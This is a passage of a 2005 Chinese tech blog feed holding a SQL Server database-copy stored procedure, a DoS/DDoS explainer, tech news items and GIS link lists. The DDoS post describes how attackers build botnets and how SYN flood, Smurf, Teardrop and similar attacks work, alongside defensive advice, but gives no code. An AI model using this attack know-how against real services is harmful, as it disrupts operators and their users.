mono:">if&nbsp;exists&nbsp;(select&nbsp;*&nbsp;from&nbsp;dbo.sysobjects&nbsp;where&nbsp;id&nbsp;=&nbsp;object_id(N'[dbo].[P_CopyDB]')&nbsp;and&nbsp;OBJECTPROPERTY(id,&nbsp;N'IsProcedure')&nbsp;=&nbsp;1)<BR>drop&nbsp;procedure&nbsp;[dbo].[P_CopyDB]<BR>GO<BR><BR>/*--&nbsp;在&nbsp;SQLServer&nbsp;中使用SQLDMO.Transfer&nbsp;实现数据迁移<BR>&nbsp;&nbsp;&nbsp;&nbsp;存储过程实现源数据库到目标数据库的对象和数据的复制<BR>&nbsp;&nbsp;&nbsp;&nbsp;要求源数据库和目标数据库在同一服务器<BR>&nbsp;&nbsp;&nbsp;&nbsp;如果是要实现不同服务器之间的复制，则需要增加验证信息<BR>--邹建&nbsp;2005.07(引用请保留此信息)--*/<BR><BR>/*--调用示例<BR><BR>&nbsp;&nbsp;&nbsp;&nbsp;CREATE&nbsp;DATABASE&nbsp;test<BR>&nbsp;&nbsp;&nbsp;&nbsp;EXEC&nbsp;P_CopyDB&nbsp;@Source_DB='northwind',@Des_DB='test'<BR>&nbsp;&nbsp;&nbsp;&nbsp;DROP&nbsp;DATABASE&nbsp;test<BR>--*/<BR>CREATE&nbsp;PROCEDURE&nbsp;P_CopyDB&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<BR>@Des_DB&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;sysname,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;--目标数据库<BR>@Obj_Type&nbsp;&nbsp;&nbsp;&nbsp;nvarchar(4000)=N'',--复制的对象类型，可以是下列字符串列表：<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;--&nbsp;O&nbsp;所有对象，D&nbsp;默认值，R&nbsp;规则，P&nbsp;存储过程<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;--&nbsp;T&nbsp;表，TR&nbsp;触发器，DT&nbsp;用户定义数据类型<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;--&nbsp;V&nbsp;视图，DATA&nbsp;数据，DEL&nbsp;删除目标对象<BR>@Source_DB&nbsp;&nbsp;&nbsp;sysname=N'',&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;--源数据库<BR>@ServerName&nbsp;&nbsp;sysname=N'',&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;--服务器名<BR>@UserName&nbsp;&nbsp;&nbsp;&nbsp;sysname=N'',&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;--用户名，不指定则表示使用&nbsp;Windows&nbsp;身份登录<BR>@pwd&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;sysname=N''&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;--密码&nbsp;<BR>AS<BR>SET&nbsp;NOCOUNT&nbsp;ON<BR>DECLARE&nbsp;@srvid&nbsp;int,@Dbid&nbsp;int,@S_dbid&nbsp;int,@D_dbid&nbsp;int,@TransferID&nbsp;int,<BR>&nbsp;&nbsp;&nbsp;&nbsp;@err&nbsp;int,@src&nbsp;varchar(255),&nbsp;@desc&nbsp;varchar(255)<BR><BR>IF&nbsp;ISNULL(@ServerName,N'')=N''&nbsp;SET&nbsp;@ServerName=@@SERVERNAME<BR>IF&nbsp;ISNULL(@Source_DB,N'')=N''&nbsp;SET&nbsp;@Source_DB=DB_NAME() </P>
<P style="BORDER-RIGHT: #0099cc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #0099cc 1px solid; PADDING-LEFT: 5px; FONT-SIZE: 12px; PADDING-BOTTOM: 5px; MARGIN: 5px; BORDER-LEFT: #0099cc 1px solid; WIDTH: auto; COLOR: #000000; LINE-HEIGHT: 18px; PADDING-TOP: 5px; BORDER-BOTTOM: #0099cc 1px solid; FONT-FAMILY: ' BACKGROUND-COLOR: #ddedfb; Verdana: ; quot: ; Courier: ; mono:">--创建sqldmo对象·<BR>EXEC&nbsp;@err=sp_oacreate&nbsp;'sqldmo.sqlserver',@srvid&nbsp;OUT<BR>IF&nbsp;@err&lt;&gt;0&nbsp;GOTO&nbsp;lb_Err<BR><BR>--连接服务器<BR>IF&nbsp;ISNULL(@UserName,N'')=N''&nbsp;--使用&nbsp;Windows&nbsp;身份登录<BR>BEGIN<BR>&nbsp;&nbsp;&nbsp;&nbsp;EXEC&nbsp;@err=sp_oasetproperty&nbsp;@srvid,'loginsecure',-1<BR>&nbsp;&nbsp;&nbsp;&nbsp;IF&nbsp;@err&lt;&gt;0&nbsp;GOTO&nbsp;lb_Err<BR><BR>&nbsp;&nbsp;&nbsp;&nbsp;EXEC&nbsp;@err=sp_oamethod&nbsp;@srvid,'connect',NULL,@servername<BR>END<BR>ELSE<BR>&nbsp;&nbsp;&nbsp;&nbsp;EXEC&nbsp;@err=sp_oamethod&nbsp;@srvid,'connect',NULL,@servername,@UserName,@pwd<BR><BR>IF&nbsp;@err&lt;&gt;0&nbsp;GOTO&nbsp;lb_Err<BR><BR>--获取数据库集<BR>EXEC&nbsp;@err=sp_oagetproperty&nbsp;@srvid,'databases',@Dbid&nbsp;OUT<BR>IF&nbsp;@err&lt;&gt;0&nbsp;GOTO&nbsp;lb_Err<BR><BR>--选择源数据库&nbsp;&nbsp;&nbsp;&nbsp;<BR>EXEC&nbsp;@err=sp_oamethod&nbsp;@Dbid,'item',@S_dbid&nbsp;OUT,@Source_DB<BR>IF&nbsp;@err&lt;&gt;0&nbsp;GOTO&nbsp;lb_Err<BR><BR>--选择目标数据库&nbsp;&nbsp;&nbsp;&nbsp;<BR>EXEC&nbsp;@err=sp_oamethod&nbsp;@Dbid,'item',@D_dbid&nbsp;OUT,@Des_DB<BR>IF&nbsp;@err&lt;&gt;0&nbsp;GOTO&nbsp;lb_Err<BR><BR>--设置复制的对象<BR>EXEC&nbsp;@err=sp_oacreate&nbsp;'SQLDMO.Transfer',@TransferID&nbsp;OUT<BR>IF&nbsp;@err&lt;&gt;0&nbsp;GOTO&nbsp;lb_Err<BR><BR>--设置目标服务器信息<BR>EXEC&nbsp;@err=sp_oasetproperty&nbsp;&nbsp;@TransferID,'DestServer',@ServerName<BR>IF&nbsp;@err&lt;&gt;0&nbsp;GOTO&nbsp;lb_Err<BR><BR>&nbsp;&nbsp;--设置连接用户<BR>IF&nbsp;ISNULL(@UserName,N'')=N''&nbsp;--使用&nbsp;Windows&nbsp;身份登录<BR>BEGIN<BR>&nbsp;&nbsp;&nbsp;&nbsp;EXEC&nbsp;@err=sp_oasetproperty&nbsp;@TransferID,'DestUseTrustedConnection',1<BR>&nbsp;&nbsp;&nbsp;&nbsp;IF&nbsp;@err&lt;&gt;0&nbsp;GOTO&nbsp;lb_Err<BR>END<BR>ELSE<BR>BEGIN<BR>&nbsp;&nbsp;&nbsp;&nbsp;EXEC&nbsp;@err=sp_oasetproperty&nbsp;@TransferID,'DestLogin',@UserName<BR>&nbsp;&nbsp;&nbsp;&nbsp;IF&nbsp;@err&lt;&gt;0&nbsp;GOTO&nbsp;lb_Err<BR><BR>&nbsp;&nbsp;&nbsp;&nbsp;EXEC&nbsp;@err=sp_oasetproperty&nbsp;@TransferID,'DestPassword',@pwd<BR>&nbsp;&nbsp;&nbsp;&nbsp;IF&nbsp;@err&lt;&gt;0&nbsp;GOTO&nbsp;lb_Err<BR>END<BR><BR>&nbsp;&nbsp;--设置复制对象信息<BR>EXEC&nbsp;@err=sp_oasetproperty&nbsp;@TransferID,'DestDatabase',@Des_DB<BR>IF&nbsp;@err&lt;&gt;0&nbsp;GOTO&nbsp;lb_Err </P>
<P style="BORDER-RIGHT: #0099cc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #0099cc 1px solid; PADDING-LEFT: 5px; FONT-SIZE: 12px; PADDING-BOTTOM: 5px; MARGIN: 5px; BORDER-LEFT: #0099cc 1px solid; WIDTH: auto; COLOR: #000000; LINE-HEIGHT: 18px; PADDING-TOP: 5px; BORDER-BOTTOM: #0099cc 1px solid; FONT-FAMILY: ' BACKGROUND-COLOR: #ddedfb; Verdana: ; quot: ; Courier: ; mono:">DECLARE&nbsp;tb&nbsp;CURSOR&nbsp;FAST_FORWARD&nbsp;LOCAL<BR>FOR<BR>SELECT&nbsp;Name&nbsp;FROM(<BR>&nbsp;&nbsp;&nbsp;&nbsp;SELECT&nbsp;KeyWord=N',D,',&nbsp;&nbsp;&nbsp;Name=N'CopyAllDefaults'&nbsp;UNION&nbsp;ALL<BR>&nbsp;&nbsp;&nbsp;&nbsp;SELECT&nbsp;KeyWord=N',O,',&nbsp;&nbsp;&nbsp;Name=N'CopyAllObjects'&nbsp;UNION&nbsp;ALL<BR>&nbsp;&nbsp;&nbsp;&nbsp;SELECT&nbsp;KeyWord=N',R,',&nbsp;&nbsp;&nbsp;Name=N'CopyAllRules'&nbsp;UNION&nbsp;ALL<BR>&nbsp;&nbsp;&nbsp;&nbsp;SELECT&nbsp;KeyWord=N',P,',&nbsp;&nbsp;&nbsp;Name=N'CopyAllStoredProcedures'&nbsp;UNION&nbsp;ALL<BR>&nbsp;&nbsp;&nbsp;&nbsp;SELECT&nbsp;KeyWord=N',T,',&nbsp;&nbsp;&nbsp;Name=N'CopyAllTables'&nbsp;UNION&nbsp;ALL<BR>&nbsp;&nbsp;&nbsp;&nbsp;SELECT&nbsp;KeyWord=N',TR,',&nbsp;&nbsp;Name=N'CopyAllTriggers'&nbsp;UNION&nbsp;ALL<BR>&nbsp;&nbsp;&nbsp;&nbsp;SELECT&nbsp;KeyWord=N',DT,',&nbsp;&nbsp;Name=N'CopyAllUserDefinedDatatypes'&nbsp;UNION&nbsp;ALL<BR>&nbsp;&nbsp;&nbsp;&nbsp;SELECT&nbsp;KeyWord=N',V,',&nbsp;&nbsp;&nbsp;Name=N'CopyAllViews'&nbsp;UNION&nbsp;ALL<BR>&nbsp;&nbsp;&nbsp;&nbsp;SELECT&nbsp;KeyWord=N',DATA,',Name=N'CopyData'&nbsp;UNION&nbsp;ALL<BR>&nbsp;&nbsp;&nbsp;&nbsp;SELECT&nbsp;KeyWord=N',DEL,',&nbsp;Name=N'DropDestObjectsFirst'<BR>)A&nbsp;WHERE&nbsp;CHARINDEX(KeyWord,<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;CASE&nbsp;WHEN&nbsp;ISNULL(@Obj_Type,N'')=''&nbsp;THEN&nbsp;',O,DATA,'&nbsp;ELSE&nbsp;@Obj_Type&nbsp;END)&gt;0<BR>OPEN&nbsp;tb<BR>FETCH&nbsp;tb&nbsp;INTO&nbsp;@src<BR>WHILE&nbsp;@@FETCH_STATUS=0<BR>BEGIN<BR>&nbsp;&nbsp;&nbsp;&nbsp;EXEC&nbsp;@err=sp_oasetproperty&nbsp;@TransferID,@src,1<BR>&nbsp;&nbsp;&nbsp;&nbsp;IF&nbsp;@err&lt;&gt;0&nbsp;GOTO&nbsp;lb_Err<BR>&nbsp;&nbsp;&nbsp;&nbsp;FETCH&nbsp;tb&nbsp;INTO&nbsp;@src<BR>END<BR>CLOSE&nbsp;tb<BR>DEALLOCATE&nbsp;tb<BR><BR>--复制对象<BR>EXEC&nbsp;@err=sp_oamethod&nbsp;@S_dbid,'Transfer',null,@TransferID<BR>IF&nbsp;@err&lt;&gt;0&nbsp;GOTO&nbsp;lb_Err<BR><BR>--结束<BR>SET&nbsp;@err=0<BR>GOTO&nbsp;lb_Exit<BR><BR>--错误处理<BR>lb_Err:<BR>&nbsp;&nbsp;&nbsp;&nbsp;EXEC&nbsp;sp_oageterrorinfo&nbsp;NULL,&nbsp;@src&nbsp;OUT,&nbsp;@desc&nbsp;OUT&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;RAISERROR(N'错误编号&nbsp;%#x,&nbsp;错误源&nbsp;"%s",&nbsp;错误描述&nbsp;"%s"',16,1,@err,@src,@desc)<BR>&nbsp;&nbsp;&nbsp;&nbsp;RETURN&nbsp;-1<BR><BR>lb_Exit:<BR>&nbsp;&nbsp;&nbsp;&nbsp;EXEC&nbsp;sp_OADestroy&nbsp;@Dbid&nbsp;&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;EXEC&nbsp;sp_OADestroy&nbsp;@srvid&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;EXEC&nbsp;sp_OADestroy&nbsp;@TransferID&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;RETURN&nbsp;@err<BR>GO </P>
<P>&nbsp;</P>
<P>摘:http://dev.csdn.net/article/75/75302.shtm</P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=149" /> 
	  <id>http://www.openx.cn/default.asp?id=149</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[DoS/DDoS攻击资料整理]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=2" label="杂七杂八" /> 
	  <updated>2005-11-13T21:48:07+08:00</updated>
	  <published>2005-11-13T21:48:07+08:00</published>
		  <summary type="html"><![CDATA[<STRONG>一、概念<BR><BR></STRONG>　　DoS的英文全称是Denial of Service，也就是“拒绝服务”的意思。从网络攻击的各种方法和所产生的破坏情况来看，DoS算是一种很简单但又很有效的进攻方式。它的目的就是拒绝你的服务访问，破坏组织的正常运行，最终它会使你的部分Internet连接和网络系统失效。DoS的攻击方式有很多种，最基本的DoS攻击就是利用合理的服务请求来占用过多的服务资源，从而使合法用户无法得到服务。<BR><BR>　　我们可以看出DoS攻击的基本过程：首先攻击者向服务器发送众多的带有虚假地址的请求，服务器发送回复信息后等待回传信息，由于地址是伪造的，所以服务器一直等不到回传的消息，分配给这次请求的资源就始终没有被释放。当服务器等待一定的时间后，连接会因超时而被切断，攻击者会再度传送新的一批请求，在这种反复发送伪地址请求的情况下，服务器资源最终会被耗尽。<BR><BR>　　DDoS(分布式拒绝服务)，它的英文全称为Distributed Denial of Service，它是一种基于DoS的特殊形式的拒绝服务攻击，是一种分布、协作的大规模攻击方式，主要瞄准比较大的站点，象商业公司，搜索引擎和政府部门的站点。从图1我们可以看出DoS攻击只要一台单机和一个modem就可实现，与之不同的是DDoS攻击是利用一批受控制的机器向一台机器发起攻击，这样来势迅猛的攻击令人难以防备，因此具有较大的破坏性。<BR><BR>　　DDoS攻击分为3层：攻击者、主控端、代理端，三者在攻击中扮演着不同的角色。 
<P></P>
<P>　　1、攻击者：攻击者所用的计算机是攻击主控台，可以是网络上的任何一台主机，甚至可以是一个活动的便携机。攻击者操纵整个攻击过程，它向主控端发送攻击命令。</P>
<P>　　2、主控端：主控端是攻击者非法侵入并控制的一些主机，这些主机还分别控制大量的代理主机。主控端主机的上面安装了特定的程序，因此它们可以接受攻击者发来的特殊指令，并且可以把这些命令发送到代理主机上。</P>
<P>　　3、代理端：代理端同样也是攻击者侵入并控制的一批主机，它们上面运行攻击器程序，接受和运行主控端发来的命令。代理端主机是攻击的执行者，真正向受害者主机发送攻击。 　　攻击者发起DDoS攻击的第一步，就是寻找在Internet上有漏洞的主机，进入系统后在其上面安装后门程序，攻击者入侵的主机越多，他的攻击队伍就越壮大。第二步在入侵主机上安装攻击程序，其中一部分主机充当攻击的主控端，一部分主机充当攻击的代理端。最后各部分主机各司其职，在攻击者的调遣下对攻击对象发起攻击。由于攻击者在幕后操纵，所以在攻击时不会受到监控系统的跟踪，身份不容易被发现。<BR><BR><STRONG>二、攻击类型<BR></STRONG><BR>　　1、Synflood:该攻击以多个随机的源主机地址向目的主机发送SYN包，而在收到目的主机的SYN ACK后并不回应，这样，目的主机就为这些源主机建立了大量的连接队列，而且由于没有收到ACK一直维护着这些队列，造成了资源的大量消耗而不能向正常请求提供服务。<BR><BR>　　2、Smurf：该攻击向一个子网的广播地址发一个带有特定请求(如ICMP回应请求)的包，并且将源地址伪装成想要攻击的主机地址。子网上所有主机都回应广播包请求而向被攻击主机发包，使该主机受到攻击。</P>
<P>　　3、Land-based：攻击者将一个包的源地址和目的地址都设置为目标主机的地址，然后将该包通过IP欺骗的方式发送给被攻击主机，这种包可以造成被攻击主机因试图与自己建立连接而陷入死循环，从而很大程度地降低了系统性能。</P>
<P>　　4、Ping of Death：根据TCP/IP的规范，一个包的长度最大为65536字节。尽管一个包的长度不能超过65536字节，但是一个包分成的多个片段的叠加却能做到。当一个主机收到了长度大于65536字节的包时，就是受到了Ping of Death攻击，该攻击会造成主机的宕机。</P>
<P>　　5、Teardrop：IP数据包在网络传递时，数据包可以分成更小的片段。攻击者可以通过发送两段(或者更多)数据包来实现TearDrop攻击。第一个包的偏移量为0，长度为N，第二个包的偏移量小于N。为了合并这些数据段，TCP/IP堆栈会分配超乎寻常的巨大资源，从而造成系统资源的缺乏甚至机器的重新启动。</P>
<P>　　6、PingSweep：使用ICMP Echo轮询多个主机。</P>
<P>　　7、Pingflood:该攻击在短时间内向目的主机发送大量ping包，造成网络堵塞或主机资源耗尽。</P>
<P>　　8、udp flood:攻击源向目标主机随机端口发送全零的4字节udp包，被攻击主机的网络性能在处理这些超出其处理能力垃圾数据包的过程中不断下降，直至不能提供正常服务，甚至崩溃。<BR><BR><STRONG>三、被攻击时的现象<BR></STRONG><BR>　　1、被攻击主机上有大量等待的tcp连接<BR><BR>　　2、网络中充斥着大量的无用的数据包，源地址为假<BR><BR>　　3、制造高流量无用数据，造成网络拥塞，使受害主机无法和外界正常通讯<BR><BR>　　4、利用受害主机提供的服务或传输协议上的缺陷，反复高速地发出特定的服务请求，使受害主机无法及时处理所有正常请求<BR><BR>　　5、严重时会造成系统死机<BR><BR><STRONG>四、攻击基本原理<BR></STRONG><BR>　　1、Synflood 原理——3次握手，正常情况下的3次握手如下：客户端向服务器提出连接请求，这时TCP SYN标志置位，客户端告诉服务端序列号区域合法，需要检查，客户端在自己的tcp报头插入ISN，服务端收到该tcp分段后，在第2步以自己的ISN回应，同时确认收到客户端的第1个tcp分段，在第3步中，客护端确认收到服务端的ISN，到此为止，一个完整的tcp会话建立。开始数据传输。Synflood恶意地不完成3次握手，这种情况下，服务器一般会重试（再次发送SYN+ACK给客户端）并等待一段时间后丢弃这个未完成的连接，这段时间的长度称SYN Timeout，一般来说，这个时间是分钟的数量级（大约30秒-2分钟），一个用户发送这样的请求并不是大问题，但是如果有大量的模拟这样的情况，服务器就要花很大的开销来维护这些半连接，即使是简单的保存并遍历也会消耗非常多的cpu时间和内存，如果服务器的tcp/ip堆栈不够大，往往会发生堆栈溢出崩溃，即使服务器资源非常充足，也应付不了，那么合法用户的请求就得不到及时响应，从客户角度来说，服务器就受到了Synflood攻击（称洪水攻击）<BR><BR>　　2、Smurf攻击原理：Smurf攻击利用的是icmp协议，最普通的ping 程序就是利用的这个协议。Smurf首先要伪造一个源地址，这个地址不是发起Smurf攻击的主机的地址，但是他是网络实实在在存在的地址，之后就用这个地址向目标（一个或多个网段）发送连续ping，因为利用的是广播地址，所以在目标网段的所有主机收到该信息后都会产生响应，但是响应的目标主机就是这个伪造的源地址主机，而他实际上没发送这些ping数据包，那么他就成为攻击目标了，这就象太极里面的借力打力。<BR><BR><STRONG>五、防御DoS/DDoS攻击<BR></STRONG><BR>　　1、及早发现系统存在的漏洞，及时安装系统补丁。对一些重要信息备份，对一些敏感帐号的密码要加固。<BR><BR>　　2、在网络管理方面，要经常检查系统物理环境，禁止不必要的服务，建立边界安全界限，确保输出的包受到限制，经常检查系统配置信息，每天查看日志。<BR><BR>　　3、利用网络安全设备（如防火墙）加固网络安全，配置好他们的安全规则，过滤掉所有可能的伪造的数据包。<BR><BR>　　4、和网络服务提供商协调，让他们帮助你实现路由的访问控制和对带宽总量的限制。<BR><BR>　　5、发现受到攻击，应起用应付策略，尽可能快地追踪攻击包，及时和ISP以及相关组织联系，分析受影响的系统，确定是否还有其他节点受到影响，从而阻挡已知攻击节点的流量。<BR><BR>　　6、发现自己是潜在的攻击受害者，即你发现你的计算机被用做主控端和代理端时，你不能因为你的系统暂时没有受到伤害而掉以轻心，攻击者已经发现你系统的漏洞，对你的系统是很大的威胁，所以一旦发现系统存在DoS攻击的软件，应该立即清除掉。<BR><BR><STRONG>总结<BR></STRONG><BR>　　目前存在的攻击手段逐渐傻瓜化，特别是象DoS攻击，更是简单到下个工具就可以发起攻击，而且真正的攻击开始后，又很难抵御，不过只要我们平时注意安全防范工作，少暴露出自己的弱点，还是可以减少威胁的。</P>
<P>&nbsp;</P>
<P>摘:http://www.it.com.cn/f/solution/057/19/146008.htm</P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=148" /> 
	  <id>http://www.openx.cn/default.asp?id=148</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[中国雅虎变身咯]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=2" label="杂七杂八" /> 
	  <updated>2005-11-13T06:51:37+08:00</updated>
	  <published>2005-11-13T06:51:37+08:00</published>
		  <summary type="html"><![CDATA[<P>[img]http://cn.yimg.com/search/yisou/aliya/yahoocnlogo.gif[/img]</P>
<P>&nbsp;</P>
<P>今天一大早上线逛了逛,逛到中国雅虎的时候发现,中国雅虎怎么也变成百度的样式咯,后后.</P>
<P>&nbsp;</P>
<P>[img]http://www.openx.cn/include/Editor/UploadFile/2005111364921615.jpg[/img]</P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=147" /> 
	  <id>http://www.openx.cn/default.asp?id=147</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[盖茨宣称第二次互联网浪潮来临 将成分水岭]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=2" label="杂七杂八" /> 
	  <updated>2005-11-11T08:39:35+08:00</updated>
	  <published>2005-11-11T08:39:35+08:00</published>
		  <summary type="html"><![CDATA[<P>来自：新浪科技&nbsp;&nbsp; </P>
<P>&nbsp;&nbsp;&nbsp; 北京时间11月9日消息，据国外媒体报道，微软董事会主席比尔-盖茨在写给公司高管的备忘录中称，科<STRONG>技产业向互联网软件和服务的转型将带来一场大规模、分裂性的巨变</STRONG>。盖茨希望微软高管能充分意识到公司目前面临的竞争威胁，并迅速、果断地做出反应。</P>
<P>&nbsp;&nbsp;&nbsp; 盖茨在10月30日发给微软高管的电子邮件中称，为了更有效地迎击主要竞争对手的挑战，微软高管应当充分把握科技产业发展潮流，迅速推出与竞争对手抗衡的服务产品。但他同时表示，微软在推出互联网服务产品时应当深思熟虑，确保为正确的用户提供正确的技术。</P>
<P>　　盖茨在电子邮件中写道：“即将到来的‘服务大潮’将成为一道分水岭，我们的一些竞争对手希望能把握这一潮流，向我们发起强有力的挑战。”他认为，当前的互联网服务大潮可以同10年前互联网的兴起相提并论。十年前，盖茨曾经写出一篇享誉全球的论文——《互联网浪潮》，正是这片论文中的思想促成微软向基于互联网的技术转型。盖茨表示：“新一波互联网浪潮即将来临。”</P>
<P>　　盖茨发给微软高管的电子邮件中包含了微软首席技术长雷-奥谢(Ray Ozzie)所写的一份报告，奥谢在报告中论述了微软应如何转变以应对日益增长的竞争威胁。奥谢在报告中承认，微软并不是互联网软件和服务浪潮的引领者，而且目前正面临着Google等公司的强劲挑战。<STRONG>他认为微软应当尽快掌握新业务模式的基本原则，包括推出基于广告的免费产品，以及通过基于互联网的方法分发产品</STRONG>。他说：“摆在微软面前的是竞争对手、挑战和机遇，这正是我们转型的契机。”</P>
<P>　　微软上周公布了网络服务战略，宣布将通过互联网以服务的形式向用户提供各种类型的软件，其中甚至包括微软的旗舰产品Windows和Office。分析人士认为，微软希望通过此举更好地应对来自Google、雅虎、Salesforce.com以及其它竞争对手的挑战，同时也是不得已而为之。因为随着网络服务的日益完善，用户购买微软Wondows和Office等专利软件的需求也将逐渐消失。尽管这只是初步计划，对于长期依靠授权费用盈利的微软而言却是一个翻天覆地的变化。<BR></P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=146" /> 
	  <id>http://www.openx.cn/default.asp?id=146</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[ArcGIS资料大全]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=3" label="网络开发" /> 
	  <updated>2005-11-10T14:32:03+08:00</updated>
	  <published>2005-11-10T14:32:03+08:00</published>
		  <summary type="html"><![CDATA[<P>1. ESRI公司的ARCGIS8中文教程下载<BR>http://bbs.gissky.net/ShowPost.asp?id=1176<BR><BR>2. 快速制图基本操作－ArcGIS应用案例<BR>http://www.gissky.net/netresdetail.asp?ID=201<BR><BR>3. 数据的后期处理－ArcGIS应用案例<BR>http://www.gissky.net/netresdetail.asp?ID=200<BR><BR>4. ArcGIS World第一、二、四期<BR>http://share.gissky.net/esri/ArcGISWorld/<BR><BR>5. ArcGIS中国通讯第14、15、16期<BR>http://share.gissky.net/esri/ArcGIS中国通讯　/<BR><BR>6. Modeling our World中文版<BR>http://share.gissky.net/esri/Modeling%20our%20World中文版/<BR><BR>7. 第六届ArcGIS暨ERDAS中国用户大会相关资料<BR>http://share.gissky.net/esri/ArcGIS中国用户大会资料/<BR><BR>8. ArcGIS8.3的安装的傻瓜式指南（图解）<BR>http://bbs.gissky.net/ShowPost.asp?id=204<BR><BR>9. arcgis 9 中文环境<BR>http://bbs.gissky.net/ShowPost.asp?id=5092<BR><BR>10. ArcInfo workstation命令行列表<BR>http://www.gissky.net/netresdetail.asp?ID=188<BR><BR>11. ArcGIS Desktop和ArcPad的集成应用<BR>http://www.gissky.net/netresdetail.asp?ID=215<BR><BR>12. Shapefile白皮书<BR>http://www.gissky.net/netresdetail.asp?ID=233<BR><BR>13. Using ArcScan中文版本<BR>http://www.gissky.net/netresdetail.asp?ID=240<BR><BR>14. 《arcview上机试验》<BR>http://www.gissky.net/netresdetail.asp?ID=256<BR><BR>15. ArcGIS中坐标系统小议<BR>http://www.gissky.net/gaindetail.asp?ID=22<BR><BR>16. 《ArcGIS　3D扩展模块学习指南》<BR>http://www.gissky.net/gaindetail.asp?ID=9<BR><BR>17. 《ArcGIS地统计扩展模块学习指南》 <BR>http://www.gissky.net/gaindetail.asp?ID=8<BR><BR>18. 《ArcGIS Spatial Analyst学习指南》 <BR>http://www.gissky.net/gaindetail.asp?ID=10<BR><BR>19. ESRI ArcGIS网上教学资料<BR>http://bbs.gissky.net/ShowPost.asp?id=700</P>
<SCRIPT event=onload for=window type=text/javascript>ImgLoad(document.getElementById("BodyLabel"));</SCRIPT>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=145" /> 
	  <id>http://www.openx.cn/default.asp?id=145</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[Google的手机地图应用]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=2" label="杂七杂八" /> 
	  <updated>2005-11-10T14:08:52+08:00</updated>
	  <published>2005-11-10T14:08:52+08:00</published>
		  <summary type="html"><![CDATA[<P><A href="http://www.mgmaps.com/">http://www.mgmaps.com/</A></P>
<H1>Mobile GMaps</H1>
<P>[img]http://www.mgmaps.com/demoimage.jpg[/img]</P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=144" /> 
	  <id>http://www.openx.cn/default.asp?id=144</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[获取SQLServer服务器列表的几种方法]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=3" label="网络开发" /> 
	  <updated>2005-11-10T11:57:24+08:00</updated>
	  <published>2005-11-10T11:57:24+08:00</published>
		  <summary type="html"><![CDATA[一、 SQL DMO 
<P>描述：SQL Distributed Management Objects（SQL分布式管理对象），存在于SQLDMO.dll文件中，实际上是一个COM 对象，通过调用SQL DMO的ListAvailableSQLServers方法取得。</P>
<P>列表类型：列举装有“客户端”和“服务端”的计算机。</P>
